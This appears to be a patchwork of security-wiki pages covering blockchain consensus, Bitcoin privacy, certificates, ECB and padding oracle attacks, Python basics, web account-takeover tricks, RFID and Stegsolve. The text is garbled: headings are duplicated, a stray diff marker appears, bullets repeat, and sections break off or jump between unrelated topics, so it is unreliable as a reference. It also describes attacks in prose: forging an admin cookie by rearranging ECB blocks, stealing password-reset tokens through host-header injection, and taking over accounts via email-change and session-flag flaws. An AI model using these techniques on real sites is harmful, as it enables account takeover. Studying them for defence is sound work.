# Consensus Mechanisms
## Consensus Mechanisms
For a blockchain transaction to be recognized, it must be **appended** to the **blockchain**. Validators (miners) carry out this appending; in most protocols, they **receive a reward** for doing so. For the blockchain to remain secure, it must have a mechanism to **prevent a malicious user or group from taking over a majority of validation**.
Proof of work, another commonly used consensus mechanism, uses a validation of computational prowess to verify transactions, requiring a potential attacker to acquire a large fraction of the computational power of the validator network.
## Proof Of Work (PoW)
### Proof Of Work (PoW)
This uses a **validation of computational prowess** to verify transactions, requiring a potential attacker to acquire a large fraction of the computational power of the validator network.\
The **miners** will **select several transactions** and then start **computing the Proof Of Work**. The **miner with the greatest computation resources** is more probably to **finish** **earlier** the Proof of Work and get the fees of all the transactions.
## Proof Of Stake (PoS)
### Proof Of Stake (PoS)
PoS accomplishes this by **requiring that validators have some quantity of blockchain tokens**, requiring **potential attackers to acquire a large fraction of the tokens** on the blockchain to mount an attack.\
In this kind of consensus, the more tokens a miner has, the more probably it will be that the miner will be asked to create the next block.\
Compared with PoW, this greatly **reduced the energy consumption** the miners are expending.

## Transactions
### Transactions
A simple **transaction** is a **movement of money** from an address to another one.\
An **address** in bitcoin is the hash of the **public** **key**, therefore, someone in order to make a transaction from an address he needs to know the private key associated to that public key (the address).\

Verification of a signature effectively means that only the owner of the private key (that generated the public key) could have produced the signature on the transaction. The signature verification algorithm will return ‘TRUE’ if the signature is indeed valid.
### Multisignature Transactions
#### Multisignature Transactions
A multi-signature **address** is an address that is associated with more than one ECDSA private key. The simplest type is an m-of-n address - it is associated with n private keys, and sending bitcoins from this address requires signatures from at least m keys. A multi-signature **transaction** is one that sends funds from a multi-signature address.
### Transactions Fields
#### Transactions Fields
Each bitcoin transaction has several fields:
@ -96,7 +95,7 @@ There are **2 main types** of transactions:
* **P2PKH: "Pay To Public Key Hash"**: This is how transactions are made. You are requiring the **sender** to supply a valid **signature** (from the private key) and **public** **key**. The transaction output script will use the signature and public key and through some cryptographic functions will check **if it matches** with the public key hash, if it does, then the **funds** will be **spendable**. This method conceals your public key in the form of a hash for extra security.
* **P2SH: "Pay To Script Hash":** The outputs of a transaction are just **scripts** (this means the person how want this money send a script) that, if are **executed with specific parameters, will result in a boolean of `true` or `false`**. If a miner runs the output script with the supplied parameters and results in `true`, the **money will be sent to your desired output**. `P2SH` is used for **multi-signature** wallets making the output scripts **logic that checks for multiple signatures before accepting the transaction**. `P2SH` can also be used to allow anyone, or no one, to spend the funds. If the output script of a P2SH transaction is just `1` for true, then attempting to spend the output without supplying parameters will just result in `1` making the money spendable by anyone who tries. This also applies to scripts that return `0`, making the output spendable by no one.

# Bitcoin Privacy Attacks
## Bitcoin Privacy Attacks
## Common Input
### Common Input
Theoretically the inputs of one transaction can belong to different users, but in reality that is unusual as it requires extra steps. Therefore, very often it can be assumed that **2 input addresses in the same transaction belongs to the same owner**.
## UTXO Change Address Detection
### UTXO Change Address Detection
**UTXO** means **Unspent Transaction Outputs** (UTXOs). In a transaction that uses the output from a previous transaction as an input, the **whole output need to be spent** (to avoid double-spend attacks). Therefore, if the intention was to **send** just **part** of the money from that output to an address and **keep** the **other** **part**, **2 different outputs** will appear: the **intended** one and a **random new change address** where the rest of the money will be saved.
Then, a watcher can make the assumption that **the new change address generated belong to the owner of the UTXO**.
## Social Networks & Forums

### Forced address reuse
**Forced address reuse** or **incentivized address reuse** is when an adversary pays an (often small) amount of bitcoin to addresses that have already been used on the block chain. The adversary hopes that users or their wallet software **will use the payments as inputs to a larger transaction which will reveal other addresses via the the common-input-ownership** heuristic. These payments can be understood as a way to coerce the address owner into unintentional address reuse.

## Other Blockchain Analysis
### Other Blockchain Analysis
* **Exact Payment Amounts**: In order to avoid transactions with a change, the payment needs to be equal to the UTXO (which is highly unexpected). Therefore, a **transaction with no change address are probably transfer between 2 addresses of the same user**.
* **Round Numbers**: In a transaction, if one of the outputs is a "**round number**", it's highly probable that this is a **payment to a human that put that** "round number" **price**, so the other part must be the leftover.
* **Wallet fingerprinting:** A careful analyst sometimes deduce which software created a certain transaction, because the many **different wallet softwares don't always create transactions in exactly the same way**. Wallet fingerprinting can be used to detect change outputs because a change output is the one spent with the same wallet fingerprint.
* **Amount & Timing correlations**: If the person that performed the transaction **discloses** the **time** and/or **amount** of the transaction, it can be easily **discoverable**.

If the adversary sees a transaction or block **coming out of your node which did not previously enter**, then it can know with near-certainty that **the transaction was made by you or the block was mined by you**.

* **Stealing:** In theory another way of obtaining anonymous bitcoin is to steal them.
## Mixers
### Mixers
A user would **send bitcoins to a mixing service** and the service would **send different bitcoins back to the user**, minus a fee. In theory an adversary observing the blockchain would be **unable to link** the incoming and outgoing transactions.

# Bitcoin Privacy Good Practices
## Bitcoin Privacy Good Practices
## Wallet Synchronization
### Wallet Synchronization
Bitcoin wallets must somehow obtain information about their balance and history. As of late-2018 the most practical and private existing solutions are to use a **full node wallet** (which is maximally private) and **client-side block filtering** (which is very good).
* **Full node:** Full nodes download the entire blockchain which contains every on-chain [transaction](https://en.bitcoin.it/wiki/Transaction) that has ever happened in bitcoin. So an adversary watching the user's internet connection will not be able to learn which transactions or addresses the user is interested in.
* **Client-side block filtering:** Client-side block filtering works by having **filters** created that contains all the **addresses** for every transaction in a block. The filters can test whether an **element is in the set**; false positives are possible but not false negatives. A lightweight wallet would **download** all the filters for every **block** in the **blockchain** and check for matches with its **own** **addresses**. Blocks which contain matches would be downloaded in full from the peer-to-peer network, and those blocks would be used to obtain the wallet's history and current balance.
## Tor
### Tor
Bitcoin network uses a peer-to-peer network, which means that other peers can learn your IP address. This is why it's recommend to **connect through Tor every time you want to interact with the bitcoin network**.
## Avoiding address reuse
### Avoiding address reuse
**Addresses being used more than once is very damaging to privacy because that links together more blockchain transactions with proof that they were created by the same entity**. The most private and secure way to use bitcoin is to send a brand **new address to each person who pays you**. After the received coins have been spent the address should never be used again. Also, a brand new bitcoin address should be demanded when sending bitcoin. All good bitcoin wallets have a user interface which discourages address reuse.
## Multiple transactions
### Multiple transactions
**Paying** someone with **more than one on-chain transaction** can greatly reduce the power of amount-based privacy attacks such as amount correlation and round numbers. For example, if the user wants to pay 5 BTC to somebody and they don't want the 5 BTC value to be easily searched for, then they can send two transactions for the value of 2 BTC and 3 BTC which together add up to 5 BTC.
## Change avoidance
### Change avoidance
Change avoidance is where transaction inputs and outputs are carefully chosen to not require a change output at all. **Not having a change output is excellent for privacy**, as it breaks change detection heuristics.
## Multiple change outputs
### Multiple change outputs
If change avoidance is not an option then **creating more than one change output can improve privacy**. This also breaks change detection heuristics which usually assume there is only a single change output. As this method uses more block space than usual, change avoidance is preferable.

# What is a Certificate
## What is a Certificate
In cryptography, a **public key certificate,** also known as a **digital certificate** or **identity certificate,** is an electronic document used to prove the ownership of a public key. The certificate includes information about the key, information about the identity of its owner (called the subject), and the digital signature of an entity that has verified the certificate's contents (called the issuer). If the signature is valid, and the software examining the certificate trusts the issuer, then it can use that key to communicate securely with the certificate's subject.

## Difference between OSCP and CRL Distribution Points
### Difference between OSCP and CRL Distribution Points
**OCSP** (RFC 2560) is a standard protocol that consists of an **OCSP client and an OCSP responder**. This protocol **determines revocation status of a given digital public-key certificate** **without** having to **download** the **entire CRL**.\
**CRL** is the **traditional method** of checking certificate validity. A **CRL provides a list of certificate serial numbers** that have been revoked or are no longer valid. CRLs let the verifier check the revocation status of the presented certificate while verifying it. CRLs are limited to 512 entries.\

Certificate logs are simple network services that maintain **cryptographically assured, publicly auditable, append-only records of certificates**. **Anyone can submit certificates to a log**, although certificate authorities will likely be the foremost submitters. Likewise, anyone can query a log for a cryptographic proof, which can be used to verify that the log is behaving properly or verify that a particular certificate has been logged.

# ECB
## ECB
(ECB) Electronic Code Book - symmetric encryption scheme which **replaces each block of the clear text** by the **block of ciphertext**. It is the **simplest** encryption scheme. The main idea is to **split** the clear text into **blocks of N bits** (depends on the size of the block of input data, encryption algorithm) and then to encrypt (decrypt) each block of clear text using the only key.

![](https://upload.wikimedia.org/wikipedia/commons/thumb/e/e6/ECB\_decryption.svg/601px-ECB\_decryption.svg.png)
Using ECB has multiple security implications:
* **Blocks from encrypted message can be removed**
* **Blocks from encrypted message can be moved around**
# Detection of the vulnerability
## Detection of the vulnerability
Imagine you login into an application several times and you **always get the same cookie**. This is because the cookie of the application is **`<username>|<password>`**.\
Then, you generate to new users, both of them with the **same long password** and **almost** the **same** **username**.\
You find out that the **blocks of 8B** where the **info of both users** is the same are **equals**. Then, you imagine that this might be because **ECB is being used**.

## Moving blocks
### Moving blocks
In many databases it is the same to search for `WHERE username='admin';` or for `WHERE username='admin ';` _(Note the extra spaces)_
So, another way to impersonate the user `admin` would be to:
* Generate a username that: `len(<username>) + len(<delimiter) % len(block)`. With a block size of `8B` you can generate username called: `username `, with the delimiter `|` the chunk `<username><delimiter>` will generate 2 blocks of 8Bs.
* Then, generate a password that will fill an exact number of blocks containing the username we want to impersonate and spaces, like: `admin `
* Generate a username that: `len(<username>) + len(<delimiter) % len(block)`. With a block size of `8B` you can generate username called: `username` , with the delimiter `|` the chunk `<username><delimiter>` will generate 2 blocks of 8Bs.
* Then, generate a password that will fill an exact number of blocks containing the username we want to impersonate and spaces, like: `admin`
The cookie of this user is going to be composed by 3 blocks: the first 2 is the blocks of the username + delimiter and the third one of the password (which is faking the username): `username |admin `

## Message Padding
As the encryption is performed in **fixed** **size** **blocks**, **padding** is usually needed in the **last** **block** to complete its length.\
Usually **PKCS7** is used, which generates a padding **repeating** the **number** of **bytes** **needed** to **complete** the block. For example, if the last block is missing 3 bytes, the padding will be `\x03\x03\x03`.

Note how in the last example the **last block was full so another one was generated only with padding**.
# Padding Oracle
## Padding Oracle
When an application decrypts encrypted data, it will first decrypt the data; then it will remove the padding. During the cleanup of the padding, if an **invalid padding triggers a detectable behaviour**, you have a **padding oracle vulnerability**. The detectable behaviour can be an **error**, a **lack of results**, or a **slower response**.
If you detect this behaviour, you can **decrypt the encrypted data** and even **encrypt any cleartext**.

## The theory
### The theory
In **summary**, you can start decrypting the encrypted data by guessing the correct values that can be used to create all the **different paddings**. Then, the padding oracle attack will start decrypting bytes from the end to the start by guessing which will be the correct value that **creates a padding of 1, 2, 3, etc**.

# Python Basics
## Usefull information
### Usefull information
It is an interpreted language\
list(xrange()) == range() --> In python3 range is the xrange of python2 (it is not a list but a generator)\
The difference between a Tuple and a List is that the position of a value in a tuple gives it a meaning but the lists are just ordered values. Tuples have structures, lists have order
## Main operations
### Main operations
To raise a number you should do: 3**2 (it isn't 3^2)\
To raise a number you should do: 3\*\*2 (it isn't 3^2)\
If you do 2/3 it returns 1 because you are dividing two ints. If you want decimals you should divide floats (2.0/3.0).\

i <= j\

So when you receive an email with a link to reset your password, the domain being used is the one you put in the Host header.Then, you can request the password reset of other users and change the domain to one controlled by you to steal their password reset codes. [WriteUp](https://medium.com/nassec-cybersecurity-writeups/how-i-was-able-to-take-over-any-users-account-with-host-header-injection-546fff6d0f2).
## Session booleans
### Session booleans
Some times when you complete some verification correctly the back-end will **just add a boolean with the value "True" to a security attribute your session**. Then, a different endpoint will know if you successfully passed that check.\
However, if you **pass the check** and your sessions is granted that "True" value in the security attribute, you can try to **access other resources** that **depends on the same attribute** but that you **shouldn't have permissions** to access. [WriteUp](https://medium.com/@ozguralp/a-less-known-attack-vector-second-order-idor-attacks-14468009781a).
## Register functionality

Try to register as an already existent user. Try also using equivalent characters (dots, lots of spaces and Unicode).
## Takeover emails
### Takeover emails
Register an email, before confirming it change the email, then, if the new confirmation email is sent to the first registered email,you can takeover any email. Or if you can enable the second email confirming the firt one, you can also takeover any account.

## TRACE method
### TRACE method
Developers might forget to disable various debugging options in the production environment. For example, the HTTP `TRACE` method is designed for diagnostic purposes. If enabled, the web server will respond to requests that use the `TRACE` method by echoing in the response the exact request that was received. This behaviour is often harmless, but occasionally leads to information disclosure, such as the name of internal authentication headers that may be appended to requests by reverse proxies.![Image for post](https://miro.medium.com/max/60/1\*wDFRADTOd9Tj63xucenvAA.png?q=20)

## Introduction
**Radio Frequency Identification (RFID)** is the most popular short-range radio solution. It's usually used to store and transmit information that identifies an entity.
An RFID tag can rely on **its own power source (active)**, such as an embedded battery, or receive its power from the reading antenna using the current **induced from the received radio waves** (**passive**).

## Information Stored in RFID Tags
### Information Stored in RFID Tags
An RFID tag’s memory usually stores four kinds of data: the **identification data**, which **identifies** the **entity** to which the tag is attached (this data includes user-defined fields, such as bank accounts); the **supplementary data**, which provides **further** **details** regarding the entity; the **control data**, used for the tag’s internal **configuration**; and the tag’s **manufacturer data**, which contains a tag’s Unique Identifier (**UID**) and details regarding the tag’s **production**, **type**, and **vendor**.

* Search for **JMP's** or **CALLs** to **registers** or **regions** of **memory**. Also search for **functions pushing arguments and an address direction and then calling `retn`**, because the return of the function in that case may call the address just pushed to the stack before calling it.

* [**XSS**](../pentesting-web/xss-cross-site-scripting/): If you find a XSS vulnerability on the page you may be able to abuse it to steal the information.
* [**Danging Markup**](../pentesting-web/dangling-markup-html-scriptless-injection.md): If you cannot inject XSS tags you still may be able to steal the info using other regular HTML tags.
* [**Clickjaking**](../pentesting-web/clickjacking.md): If there is no protection against this attack, you may be able to trick the user into sending you the sensitive data (an example [here](https://medium.com/bugbountywriteup/apache-example-servlet-leads-to-61a2720cac20)).

## Stegsolve
### Stegsolve
Sometimes there is a message or a text hidden in the image itself that, in order to view it, must have color filters applied, or some color levels changed. Although you can do that with something like GIMP or Photoshop, Stegsolve makes it easier. It's a small Java tool that applies many useful color filters on images; In CTF challenges, Stegsolve is often a real timesaver.
You can get it from [Github](https://github.com/eugenekolo/sec-tools/tree/master/stego/stegsolve/stegsolve)
